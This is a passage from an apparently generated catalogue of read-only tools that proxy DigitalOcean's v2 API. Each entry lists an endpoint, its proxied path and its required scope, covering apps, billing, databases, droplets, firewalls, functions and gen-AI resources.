(read) — Retrieve App Daily Bandwidth Metrics via GET /v2/apps/{app_id}/metrics/bandwidth_daily GET /api/v1/digitalocean/v2/apps/{app_id}/metrics/bandwidth_daily. Scopes: app:read. digitalocean_get_v2_apps_by_id (read) — Retrieve an Existing App via GET /v2/apps/{id} GET /api/v1/digitalocean/v2/apps/{id}. Scopes: app:read. digitalocean_get_v2_apps_regions (read) — List App Regions via GET /v2/apps/regions GET /api/v1/digitalocean/v2/apps/regions. Scopes: app:read. digitalocean_get_v2_apps_tiers_instance_sizes (read) — List Instance Sizes via GET /v2/apps/tiers/instance_sizes GET /api/v1/digitalocean/v2/apps/tiers/instance_sizes. Scopes: app:read. digitalocean_get_v2_apps_tiers_instance_sizes_by_slug (read) — Retrieve an Instance Size via GET /v2/apps/tiers/instance_sizes/{slug} GET /api/v1/digitalocean/v2/apps/tiers/instance_sizes/{slug}. Scopes: app:read. digitalocean_get_v2_billing_by_account_urn_insights_by_start_date_by_end_date (read) — List Billing Insights via GET /v2/billing/{account_urn}/insights/{start_date}/{end_date} GET /api/v1/digitalocean/v2/billing/{account_urn}/insights/{start_date}/{end_date}. Scopes: billing:read. digitalocean_get_v2_byoip_prefixes (read) — List BYOIP Prefixes via GET /v2/byoip_prefixes GET /api/v1/digitalocean/v2/byoip_prefixes. Scopes: byoip_prefix:read. digitalocean_get_v2_byoip_prefixes_by_byoip_prefix_uuid (read) — Get a BYOIP Prefix via GET /v2/byoip_prefixes/{byoip_prefix_uuid} GET /api/v1/digitalocean/v2/byoip_prefixes/{byoip_prefix_uuid}. Scopes: byoip_prefix:read. digitalocean_get_v2_byoip_prefixes_by_byoip_prefix_uuid_ips (read) — List BYOIP Prefix Resources via GET /v2/byoip_prefixes/{byoip_prefix_uuid}/ips GET /api/v1/digitalocean/v2/byoip_prefixes/{byoip_prefix_uuid}/ips. Scopes: byoip_prefix:read. digitalocean_get_v2_cdn_endpoints (read) — List All CDN Endpoints via GET /v2/cdn/endpoints GET /api/v1/digitalocean/v2/cdn/endpoints. Scopes: cdn:read. digitalocean_get_v2_cdn_endpoints_by_cdn_id (read) — Retrieve an Existing CDN Endpoint via GET /v2/cdn/endpoints/{cdn_id} GET /api/v1/digitalocean/v2/cdn/endpoints/{cdn_id}. Scopes: cdn:read. digitalocean_get_v2_certificates (read) — List All Certificates via GET /v2/certificates GET /api/v1/digitalocean/v2/certificates. Scopes: certificate:read. digitalocean_get_v2_certificates_by_certificate_id (read) — Retrieve an Existing Certificate via GET /v2/certificates/{certificate_id} GET /api/v1/digitalocean/v2/certificates/{certificate_id}. Scopes: certificate:read. digitalocean_get_v2_customers_my_balance (read) — Get Customer Balance via GET /v2/customers/my/balance GET /api/v1/digitalocean/v2/customers/my/balance. Scopes: billing:read. digitalocean_get_v2_customers_my_billing_history (read) — List Billing History via GET /v2/customers/my/billing_history GET /api/v1/digitalocean/v2/customers/my/billing_history. Scopes: billing:read. digitalocean_get_v2_customers_my_invoices (read) — List All Invoices via GET /v2/customers/my/invoices GET /api/v1/digitalocean/v2/customers/my/invoices. Scopes: billing:read. digitalocean_get_v2_customers_my_invoices_by_invoice_uuid (read) — Retrieve an Invoice by UUID via GET /v2/customers/my/invoices/{invoice_uuid} GET /api/v1/digitalocean/v2/customers/my/invoices/{invoice_uuid}. Scopes: billing:read. digitalocean_get_v2_customers_my_invoices_by_invoice_uuid_csv (read) — Retrieve an Invoice CSV by UUID via GET /v2/customers/my/invoices/{invoice_uuid}/csv GET /api/v1/digitalocean/v2/customers/my/invoices/{invoice_uuid}/csv. Scopes: billing:read. digitalocean_get_v2_customers_my_invoices_by_invoice_uuid_summary (read) — Retrieve an Invoice Summary by UUID via GET /v2/customers/my/invoices/{invoice_uuid}/summary GET /api/v1/digitalocean/v2/customers/my/invoices/{invoice_uuid}/summary. Scopes: billing:read. digitalocean_get_v2_databases (read) — List All Database Clusters via GET /v2/databases GET /api/v1/digitalocean/v2/databases. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid (read) — Retrieve an Existing Database Cluster via GET /v2/databases/{database_cluster_uuid} GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_autoscale (read) — Retrieve Autoscale Configuration for a Database Cluster via GET /v2/databases/{database_cluster_uuid}/autoscale GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/autoscale. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_backups (read) — List Backups for a Database Cluster via GET /v2/databases/{database_cluster_uuid}/backups GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/backups. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_ca (read) — Retrieve the Public Certificate via GET /v2/databases/{database_cluster_uuid}/ca GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/ca. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_config (read) — Retrieve an Existing Database Cluster Configuration via GET /v2/databases/{database_cluster_uuid}/config GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/config. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_dbs (read) — List All Databases via GET /v2/databases/{database_cluster_uuid}/dbs GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/dbs. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_dbs_by_database_name (read) — Retrieve an Existing Database via GET /v2/databases/{database_cluster_uuid}/dbs/{database_name} GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/dbs/{database_name}. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_do_settings (read) — Retrieve DO Settings for a Database Cluster via GET /v2/databases/{database_cluster_uuid}/do_settings GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/do_settings. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_events (read) — List all Events Logs via GET /v2/databases/{database_cluster_uuid}/events GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/events. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_eviction_policy (read) — Retrieve the Eviction Policy for a Caching or Valkey Cluster via GET /v2/databases/{database_cluster_uuid}/eviction_policy GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/eviction_policy. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_firewall (read) — List Firewall Rules (Trusted Sources) for a Database Cluster via GET /v2/databases/{database_cluster_uuid}/firewall GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/firewall. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_indexes (read) — List Indexes for a OpenSearch Cluster via GET /v2/databases/{database_cluster_uuid}/indexes GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/indexes. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_logsink (read) — List Logsinks for a Database Cluster via GET /v2/databases/{database_cluster_uuid}/logsink GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/logsink. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_logsink_by_logsink_id (read) — Get Logsink for a Database Cluster via GET /v2/databases/{database_cluster_uuid}/logsink/{logsink_id} GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/logsink/{logsink_id}. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_online_migration (read) — Retrieve the Status of an Online Migration via GET /v2/databases/{database_cluster_uuid}/online-migration GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/online-migration. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_pools (read) — List Connection Pools (PostgreSQL) via GET /v2/databases/{database_cluster_uuid}/pools GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/pools. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_pools_by_pool_name (read) — Retrieve Existing Connection Pool (PostgreSQL) via GET /v2/databases/{database_cluster_uuid}/pools/{pool_name} GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/pools/{pool_name}. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_replicas (read) — List All Read-only Replicas via GET /v2/databases/{database_cluster_uuid}/replicas GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/replicas. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_replicas_by_replica_name (read) — Retrieve an Existing Read-only Replica via GET /v2/databases/{database_cluster_uuid}/replicas/{replica_name} GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/replicas/{replica_name}. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_schema_registry (read) — List Schemas for Kafka Cluster via GET /v2/databases/{database_cluster_uuid}/schema-registry GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/schema-registry. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_schema_registry_by_subject_name (read) — Get a Kafka Schema by Subject Name via GET /v2/databases/{database_cluster_uuid}/schema-registry/{subject_name} GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/schema-registry/{subject_name}. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_schema_registry_by_subject_name_versions_by_version (read) — Get Kafka Schema by Subject Version via GET /v2/databases/{database_cluster_uuid}/schema-registry/{subject_name}/versions/{version} GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/schema-registry/{subject_name}/versions/{version}. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_schema_registry_config (read) — Retrieve Schema Registry Configuration for a kafka Cluster via GET /v2/databases/{database_cluster_uuid}/schema-registry/config GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/schema-registry/config. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_schema_registry_config_by_subject_name (read) — Retrieve Schema Registry Configuration for a Subject of kafka Cluster via GET /v2/databases/{database_cluster_uuid}/schema-registry/config/{subject_name} GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/schema-registry/config/{subject_name}. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_sql_mode (read) — Retrieve the SQL Modes for a MySQL Cluster via GET /v2/databases/{database_cluster_uuid}/sql_mode GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/sql_mode. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_topics (read) — List Topics for a Kafka Cluster via GET /v2/databases/{database_cluster_uuid}/topics GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/topics. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_topics_by_topic_name (read) — Get Topic for a Kafka Cluster via GET /v2/databases/{database_cluster_uuid}/topics/{topic_name} GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/topics/{topic_name}. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_users (read) — List all Database Users via GET /v2/databases/{database_cluster_uuid}/users GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/users. Scopes: database:read. digitalocean_get_v2_databases_by_database_cluster_uuid_users_by_username (read) — Retrieve an Existing Database User via GET /v2/databases/{database_cluster_uuid}/users/{username} GET /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/users/{username}. Scopes: database:read. digitalocean_get_v2_databases_metrics_credentials (read) — Retrieve Database Clusters' Metrics Endpoint Credentials via GET /v2/databases/metrics/credentials GET /api/v1/digitalocean/v2/databases/metrics/credentials. Scopes: database:view_credentials. digitalocean_get_v2_databases_options (read) — List Database Options via GET /v2/databases/options GET /api/v1/digitalocean/v2/databases/options. Scopes: database:read. digitalocean_get_v2_dedicated_inferences (read) — List Dedicated Inferences via GET /v2/dedicated-inferences GET /api/v1/digitalocean/v2/dedicated-inferences. Scopes: dedicated_inference:read. digitalocean_get_v2_dedicated_inferences_by_dedicated_inference_id (read) — Get a Dedicated Inference via GET /v2/dedicated-inferences/{dedicated_inference_id} GET /api/v1/digitalocean/v2/dedicated-inferences/{dedicated_inference_id}. Scopes: dedicated_inference:read. digitalocean_get_v2_dedicated_inferences_by_dedicated_inference_id_accelerators (read) — List Dedicated Inference Accelerators via GET /v2/dedicated-inferences/{dedicated_inference_id}/accelerators GET /api/v1/digitalocean/v2/dedicated-inferences/{dedicated_inference_id}/accelerators. Scopes: dedicated_inference:read. digitalocean_get_v2_dedicated_inferences_by_dedicated_inference_id_accelerators_by_accelerator_id (read) — Get a Dedicated Inference Accelerator via GET /v2/dedicated-inferences/{dedicated_inference_id}/accelerators/{accelerator_id} GET /api/v1/digitalocean/v2/dedicated-inferences/{dedicated_inference_id}/accelerators/{accelerator_id}. Scopes: dedicated_inference:read. digitalocean_get_v2_dedicated_inferences_by_dedicated_inference_id_ca (read) — Get Dedicated Inference CA Certificate via GET /v2/dedicated-inferences/{dedicated_inference_id}/ca GET /api/v1/digitalocean/v2/dedicated-inferences/{dedicated_inference_id}/ca. Scopes: dedicated_inference:read. digitalocean_get_v2_dedicated_inferences_by_dedicated_inference_id_tokens (read) — List Dedicated Inference Tokens via GET /v2/dedicated-inferences/{dedicated_inference_id}/tokens GET /api/v1/digitalocean/v2/dedicated-inferences/{dedicated_inference_id}/tokens. Scopes: dedicated_inference_token:read. digitalocean_get_v2_dedicated_inferences_gpu_model_config (read) — Get Dedicated Inference GPU Model Config via GET /v2/dedicated-inferences/gpu-model-config GET /api/v1/digitalocean/v2/dedicated-inferences/gpu-model-config. Scopes: dedicated_inference:read. digitalocean_get_v2_dedicated_inferences_sizes (read) — List Dedicated Inference Sizes via GET /v2/dedicated-inferences/sizes GET /api/v1/digitalocean/v2/dedicated-inferences/sizes. Scopes: dedicated_inference:read. digitalocean_get_v2_domains (read) — List All Domains via GET /v2/domains GET /api/v1/digitalocean/v2/domains. Scopes: domain:read. digitalocean_get_v2_domains_by_domain_name (read) — Retrieve an Existing Domain via GET /v2/domains/{domain_name} GET /api/v1/digitalocean/v2/domains/{domain_name}. Scopes: domain:read. digitalocean_get_v2_domains_by_domain_name_records (read) — List All Domain Records via GET /v2/domains/{domain_name}/records GET /api/v1/digitalocean/v2/domains/{domain_name}/records. Scopes: domain:read. digitalocean_get_v2_domains_by_domain_name_records_by_domain_record_id (read) — Retrieve an Existing Domain Record via GET /v2/domains/{domain_name}/records/{domain_record_id} GET /api/v1/digitalocean/v2/domains/{domain_name}/records/{domain_record_id}. Scopes: domain:read. digitalocean_get_v2_droplets (read) — List All Droplets via GET /v2/droplets GET /api/v1/digitalocean/v2/droplets. Scopes: droplet:read. digitalocean_get_v2_droplets_autoscale (read) — List All Autoscale Pools via GET /v2/droplets/autoscale GET /api/v1/digitalocean/v2/droplets/autoscale. Scopes: droplet:read. digitalocean_get_v2_droplets_autoscale_by_autoscale_pool_id (read) — Retrieve an Existing Autoscale Pool via GET /v2/droplets/autoscale/{autoscale_pool_id} GET /api/v1/digitalocean/v2/droplets/autoscale/{autoscale_pool_id}. Scopes: droplet:read. digitalocean_get_v2_droplets_autoscale_by_autoscale_pool_id_history (read) — List history events via GET /v2/droplets/autoscale/{autoscale_pool_id}/history GET /api/v1/digitalocean/v2/droplets/autoscale/{autoscale_pool_id}/history. Scopes: droplet:read. digitalocean_get_v2_droplets_autoscale_by_autoscale_pool_id_members (read) — List members via GET /v2/droplets/autoscale/{autoscale_pool_id}/members GET /api/v1/digitalocean/v2/droplets/autoscale/{autoscale_pool_id}/members. Scopes: droplet:read. digitalocean_get_v2_droplets_backups_policies (read) — List Backup Policies for All Existing Droplets via GET /v2/droplets/backups/policies GET /api/v1/digitalocean/v2/droplets/backups/policies. Scopes: droplet:read. digitalocean_get_v2_droplets_backups_supported_policies (read) — List Supported Droplet Backup Policies via GET /v2/droplets/backups/supported_policies GET /api/v1/digitalocean/v2/droplets/backups/supported_policies. Scopes: droplet:read. digitalocean_get_v2_droplets_by_droplet_id (read) — Retrieve an Existing Droplet via GET /v2/droplets/{droplet_id} GET /api/v1/digitalocean/v2/droplets/{droplet_id}. Scopes: droplet:read. digitalocean_get_v2_droplets_by_droplet_id_actions (read) — List Actions for a Droplet via GET /v2/droplets/{droplet_id}/actions GET /api/v1/digitalocean/v2/droplets/{droplet_id}/actions. Scopes: droplet:read. digitalocean_get_v2_droplets_by_droplet_id_actions_by_action_id (read) — Retrieve a Droplet Action via GET /v2/droplets/{droplet_id}/actions/{action_id} GET /api/v1/digitalocean/v2/droplets/{droplet_id}/actions/{action_id}. Scopes: droplet:read. digitalocean_get_v2_droplets_by_droplet_id_backups (read) — List Backups for a Droplet via GET /v2/droplets/{droplet_id}/backups GET /api/v1/digitalocean/v2/droplets/{droplet_id}/backups. Scopes: droplet:read. digitalocean_get_v2_droplets_by_droplet_id_backups_policy (read) — Retrieve the Backup Policy for an Existing Droplet via GET /v2/droplets/{droplet_id}/backups/policy GET /api/v1/digitalocean/v2/droplets/{droplet_id}/backups/policy. Scopes: droplet:read. digitalocean_get_v2_droplets_by_droplet_id_destroy_with_associated_resources (read) — List Associated Resources for a Droplet via GET /v2/droplets/{droplet_id}/destroy_with_associated_resources GET /api/v1/digitalocean/v2/droplets/{droplet_id}/destroy_with_associated_resources. Scopes: droplet:read. digitalocean_get_v2_droplets_by_droplet_id_destroy_with_associated_resources_status (read) — Check Status of a Droplet Destroy with Associated Resources Request via GET /v2/droplets/{droplet_id}/destroy_with_associated_resources/status GET /api/v1/digitalocean/v2/droplets/{droplet_id}/destroy_with_associated_resources/status. Scopes: droplet:delete. digitalocean_get_v2_droplets_by_droplet_id_firewalls (read) — List all Firewalls Applied to a Droplet via GET /v2/droplets/{droplet_id}/firewalls GET /api/v1/digitalocean/v2/droplets/{droplet_id}/firewalls. Scopes: firewall:read. digitalocean_get_v2_droplets_by_droplet_id_kernels (read) — List All Available Kernels for a Droplet via GET /v2/droplets/{droplet_id}/kernels GET /api/v1/digitalocean/v2/droplets/{droplet_id}/kernels. Scopes: droplet:read. digitalocean_get_v2_droplets_by_droplet_id_neighbors (read) — List Neighbors for a Droplet via GET /v2/droplets/{droplet_id}/neighbors GET /api/v1/digitalocean/v2/droplets/{droplet_id}/neighbors. Scopes: droplet:read. digitalocean_get_v2_droplets_by_droplet_id_snapshots (read) — List Snapshots for a Droplet via GET /v2/droplets/{droplet_id}/snapshots GET /api/v1/digitalocean/v2/droplets/{droplet_id}/snapshots. Scopes: droplet:read. digitalocean_get_v2_firewalls (read) — List All Firewalls via GET /v2/firewalls GET /api/v1/digitalocean/v2/firewalls. Scopes: firewall:read. digitalocean_get_v2_firewalls_by_firewall_id (read) — Retrieve an Existing Firewall via GET /v2/firewalls/{firewall_id} GET /api/v1/digitalocean/v2/firewalls/{firewall_id}. Scopes: firewall:read. digitalocean_get_v2_floating_ips (read) — List All Floating IPs via GET /v2/floating_ips GET /api/v1/digitalocean/v2/floating_ips. Scopes: reserved_ip:read. digitalocean_get_v2_floating_ips_by_floating_ip (read) — Retrieve an Existing Floating IP via GET /v2/floating_ips/{floating_ip} GET /api/v1/digitalocean/v2/floating_ips/{floating_ip}. Scopes: reserved_ip:read. digitalocean_get_v2_floating_ips_by_floating_ip_actions (read) — List All Actions for a Floating IP via GET /v2/floating_ips/{floating_ip}/actions GET /api/v1/digitalocean/v2/floating_ips/{floating_ip}/actions. Scopes: reserved_ip:read. digitalocean_get_v2_floating_ips_by_floating_ip_actions_by_action_id (read) — Retrieve an Existing Floating IP Action via GET /v2/floating_ips/{floating_ip}/actions/{action_id} GET /api/v1/digitalocean/v2/floating_ips/{floating_ip}/actions/{action_id}. Scopes: reserved_ip:read. digitalocean_get_v2_functions_namespaces (read) — List Namespaces via GET /v2/functions/namespaces GET /api/v1/digitalocean/v2/functions/namespaces. Scopes: function:read. digitalocean_get_v2_functions_namespaces_by_namespace_id (read) — Get Namespace via GET /v2/functions/namespaces/{namespace_id} GET /api/v1/digitalocean/v2/functions/namespaces/{namespace_id}. Scopes: function:admin. digitalocean_get_v2_functions_namespaces_by_namespace_id_keys (read) — List Namespace Access Keys via GET /v2/functions/namespaces/{namespace_id}/keys GET /api/v1/digitalocean/v2/functions/namespaces/{namespace_id}/keys. Scopes: function:admin. digitalocean_get_v2_functions_namespaces_by_namespace_id_triggers (read) — List Triggers via GET /v2/functions/namespaces/{namespace_id}/triggers GET /api/v1/digitalocean/v2/functions/namespaces/{namespace_id}/triggers. Scopes: function:read. digitalocean_get_v2_functions_namespaces_by_namespace_id_triggers_by_trigger_name (read) — Get Trigger via GET /v2/functions/namespaces/{namespace_id}/triggers/{trigger_name} GET /api/v1/digitalocean/v2/functions/namespaces/{namespace_id}/triggers/{trigger_name}. Scopes: function:read. digitalocean_get_v2_gen_ai_agents (read) — List Agents via GET /v2/gen-ai/agents GET /api/v1/digitalocean/v2/gen-ai/agents. Scopes: genai:read. digitalocean_get_v2_gen_ai_agents_by_agent_uuid_api_keys (read) — List Agent API Keys via GET /v2/gen-ai/agents/{agent_uuid}/api_keys GET /api/v1/digitalocean/v2/gen-ai/agents/{agent_uuid}/api_keys. Scopes: genai:read. digitalocean_get_v2_gen_ai_agents_by_uuid (read) — Retrieve an Existing Agent via GET /v2/gen-ai/agents/{uuid} GET /api/v1/digitalocean/v2/gen-ai/agents/{uuid}. Scopes: genai:read. digitalocean_get_v2_gen_ai_agents_by_uuid_child_agents (read) — View Agent Routes via GET /v2/gen-ai/agents/{uuid}/child_agents GET /api/v1/digitalocean/v2/gen-ai/agents/{uuid}/child_agents. Scopes: genai:read. digitalocean_get_v2_gen_ai_agents_by_uuid_usage (read) — Get Agent Usage via GET /v2/gen-ai/agents/{uuid}/usage GET /api/v1/digitalocean/v2/gen-ai/agents/{uuid}/usage. Scopes: genai:read. digitalocean_get_v2_gen_ai_agents_by_uuid_versions (read) — List Agent Versions via GET /v2/gen-ai/agents/{uuid}/versions GET /api/v1/digitalocean/v2/gen-ai/agents/{uuid}/versions. Scopes: genai:read. digitalocean_get_v2_gen_ai_anthropic_keys (read) — List Anthropic API Keys via GET /v2/gen-ai/anthropic/keys GET /api/v1/digitalocean/v2/gen-ai/anthropic/keys. Scopes: genai:read. digitalocean_get_v2_gen_ai_anthropic_keys_by_api_key_uuid (read) — Get Anthropic API Key via GET /v2/gen-ai/anthropic/keys/{api_key_uuid} GET /api/v1/digitalocean/v2/gen-ai/anthropic/keys/{api_key_uuid}. Scopes: genai:read. digitalocean_get_v2_gen_ai_anthropic_keys_by_uuid_agents (read) — List agents by Anthropic key via GET /v2/gen-ai/anthropic/keys/{uuid}/agents GET /api/v1/digitalocean/v2/gen-ai/anthropic/keys/{uuid}/agents. Scopes: genai:read. digitalocean_get_v2_gen_ai_custom_models (read) — List Custom Models via GET /v2/gen-ai/custom_models GET /api/v1/digitalocean/v2/gen-ai/custom_models. Scopes: genai:read. digitalocean_get_v2_gen_ai_custom_models_by_uuid (read) — Get Custom Model via GET /v2/gen-ai/custom_models/{uuid} GET /api/v1/digitalocean/v2/gen-ai/custom_models/{uuid}. Scopes: genai:read. digitalocean_get_v2_gen_ai_evaluation_datasets (read) — List Evaluation Datasets via GET /v2/gen-ai/evaluation_datasets GET /api/v1/digitalocean/v2/gen-ai/evaluation_datasets. Scopes: genai:read. digitalocean_get_v2_gen_ai_evaluation_datasets_by_dataset_uuid_download_url (read) — Get Download URL for Evaluation Dataset via GET /v2/gen-ai/evaluation_datasets/{dataset_uuid}/download_url GET /api/v1/digitalocean/v2/gen-ai/evaluation_datasets/{dataset_uuid}/download_url. Scopes: genai:read. digitalocean_get_v2_gen_ai_evaluation_metrics (read) — List Evaluation Metrics via GET /v2/gen-ai/evaluation_metrics GET /api/v1/digitalocean/v2/gen-ai/evaluation_metrics. Scopes: genai:read. digitalocean_get_v2_gen_ai_evaluation_runs_by_evaluation_run_uuid (read) — Retrieve Information About an Existing Evaluation Run via GET /v2/gen-ai/evaluation_runs/{evaluation_run_uuid} GET /api/v1/digitalocean/v2/gen-ai/evaluation_runs/{evaluation_run_uuid}. Scopes: genai:read. digitalocean_get_v2_gen_ai_evaluation_runs_by_evaluation_run_uuid_results (read) — Retrieve Results of an Evaluation Run via GET /v2/gen-ai/evaluation_runs/{evaluation_run_uuid}/results GET /api/v1/digitalocean/v2/gen-ai/evaluation_runs/{evaluation_run_uuid}/results. Scopes: genai:read. digitalocean_get_v2_gen_ai_evaluation_runs_by_evaluation_run_uuid_results_by_prompt_id (read) — Retrieve Results of an Evaluation Run Prompt via GET /v2/gen-ai/evaluation_runs/{evaluation_run_uuid}/results/{prompt_id} GET /api/v1/digitalocean/v2/gen-ai/evaluation_runs/{evaluation_run_uuid}/results/{prompt_id}. Scopes: genai:read. digitalocean_get_v2_gen_ai_evaluation_test_cases (read) — List Evaluation Test Cases via GET /v2/gen-ai/evaluation_test_cases GET /api/v1/digitalocean/v2/gen-ai/evaluation_test_cases. Scopes: genai:read. digitalocean_get_v2_gen_ai_evaluation_test_cases_by_evaluation_test_case_uuid_evaluation_runs (read) — List Evaluation Runs by Test Case via GET /v2/gen-ai/evaluation_test_cases/{evaluation_test_case_uuid}/evaluation_runs GET /api/v1/digitalocean/v2/gen-ai/evaluation_test_cases/{evaluation_test_case_uuid}/evaluation_runs. Scopes: genai:read. digitalocean_get_v2_gen_ai_evaluation_test_cases_by_test_case_uuid (read) — Retrieve Information About an Existing Evaluation Test Case via GET /v2/gen-ai/evaluation_test_cases/{test_case_uuid} GET /api/v1/digitalocean/v2/gen-ai/evaluation_test_cases/{test_case_uuid}. Scopes: genai:read. digitalocean_get_v2_gen_ai_indexing_jobs (read) — List Indexing Jobs for a Knowledge Base via GET /v2/gen-ai/indexing_jobs GET /api/v1/digitalocean/v2/gen-ai/indexing_jobs. Scopes: genai:read. digitalocean_get_v2_gen_ai_indexing_jobs_by_indexing_job_uuid_data_sources (read) — List Data Sources for Indexing Job for a Knowledge Base via GET /v2/gen-ai/indexing_jobs/{indexing_job_uuid}/data_sources GET /api/v1/digitalocean/v2/gen-ai/indexing_jobs/{indexing_job_uuid}/data_sources. Scopes: genai:read. digitalocean_get_v2_gen_ai_indexing_jobs_by_indexing_job_uuid_details_signed_url (read) — Get Signed URL for Indexing Job Details via GET /v2/gen-ai/indexing_jobs/{indexing_job_uuid}/details_signed_url GET /api/v1/digitalocean/v2/gen-ai/indexing_jobs/{indexing_job_uuid}/details_signed_url. Scopes: genai:read. digitalocean_get_v2_gen_ai_indexing_jobs_by_uuid (read) — Retrieve Status of Indexing Job for a Knowledge Base via GET /v2/gen-ai/indexing_jobs/{uuid} GET /api/v1/digitalocean/v2/gen-ai/indexing_jobs/{uuid}. Scopes: genai:read. digitalocean_get_v2_gen_ai_knowledge_bases (read) — List Knowledge Bases via GET /v2/gen-ai/knowledge_bases GET /api/v1/digitalocean/v2/gen-ai/knowledge_bases. Scopes: genai:read. digitalocean_get_v2_gen_ai_knowledge_bases_by_knowledge_base_uuid_data_sources (read) — List Data Sources for a Knowledge Base via GET /v2/gen-ai/knowledge_bases/{knowledge_base_uuid}/data_sources GET /api/v1/digitalocean/v2/gen-ai/knowledge_bases/{knowledge_base_uuid}/data_sources. Scopes: genai:read. digitalocean_get_v2_gen_ai_knowledge_bases_by_knowledge_base_uuid_indexing_jobs (read) — List Indexing Jobs for a Knowledge Base via GET /v2/gen-ai/knowledge_bases/{knowledge_base_uuid}/indexing_jobs GET /api/v1/digitalocean/v2/gen-ai/knowledge_bases/{knowledge_base_uuid}/indexing_jobs. Scopes: genai:read. digitalocean_get_v2_gen_ai_knowledge_bases_by_uuid (read) — Retrieve Information About an Existing Knowledge Base via GET /v2/gen-ai/knowledge_bases/{uuid} GET /api/v1/digitalocean/v2/gen-ai/knowledge_bases/{uuid}. Scopes: genai:read. digitalocean_get_v2_gen_ai_model_evaluation_metrics (read) — List Model Evaluation Metrics via GET /v2/gen-ai/model_evaluation_metrics GET /api/v1/digitalocean/v2/gen-ai/model_evaluation_metrics. Scopes: genai:read. digitalocean_get_v2_gen_ai_model_evaluation_presets (read) — List Model Evaluation Presets via GET /v2/gen-ai/model_evaluation_presets GET /api/v1/digitalocean/v2/gen-ai/model_evaluation_presets. Scopes: genai:read. digitalocean_get_v2_gen_ai_model_evaluation_presets_by_eval_preset_uuid (read) — Retrieve Model Evaluation Preset via GET /v2/gen-ai/model_evaluation_presets/{eval_preset_uuid} GET /api/v1/digitalocean/v2/gen-ai/model_evaluation_presets/{eval_preset_uuid}. Scopes: genai:read. digitalocean_get_v2_gen_ai_model_evaluation_runs (read) — List Model Evaluation Runs via GET /v2/gen-ai/model_evaluation_runs GET /api/v1/digitalocean/v2/gen-ai/model_evaluation_runs. Scopes: genai:read. digitalocean_get_v2_gen_ai_model_evaluation_runs_by_eval_run_uuid (read) — Retrieve Model Evaluation Run via GET /v2/gen-ai/model_evaluation_runs/{eval_run_uuid} GET /api/v1/digitalocean/v2/gen-ai/model_evaluation_runs/{eval_run_uuid}. Scopes: genai:read. digitalocean_get_v2_gen_ai_model_evaluation_runs_by_eval_run_uuid_results_download_url (read) — Get Download URL for Model Evaluation Run Results via GET /v2/gen-ai/model_evaluation_runs/{eval_run_uuid}/results/download_url GET /api/v1/digitalocean/v2/gen-ai/model_evaluation_runs/{eval_run_uuid}/results/download_url. Scopes: genai:read. digitalocean_get_v2_gen_ai_models (read) — List Available Models via GET /v2/gen-ai/models GET /api/v1/digitalocean/v2/gen-ai/models. Scopes: genai:read. digitalocean_get_v2_gen_ai_models_api_keys (read) — List Model API Keys via GET /v2/gen-ai/models/api_keys GET /api/v1/digitalocean/v2/gen-ai/models/api_keys. Scopes: genai:read. digitalocean_get_v2_gen_ai_models_catalog (read) — List Model Catalog via GET /v2/gen-ai/models/catalog GET /api/v1/digitalocean/v2/gen-ai/models/catalog. Scopes: genai:read. digitalocean_get_v2_gen_ai_models_catalog_by_id (read) — Get Model Catalog Card via 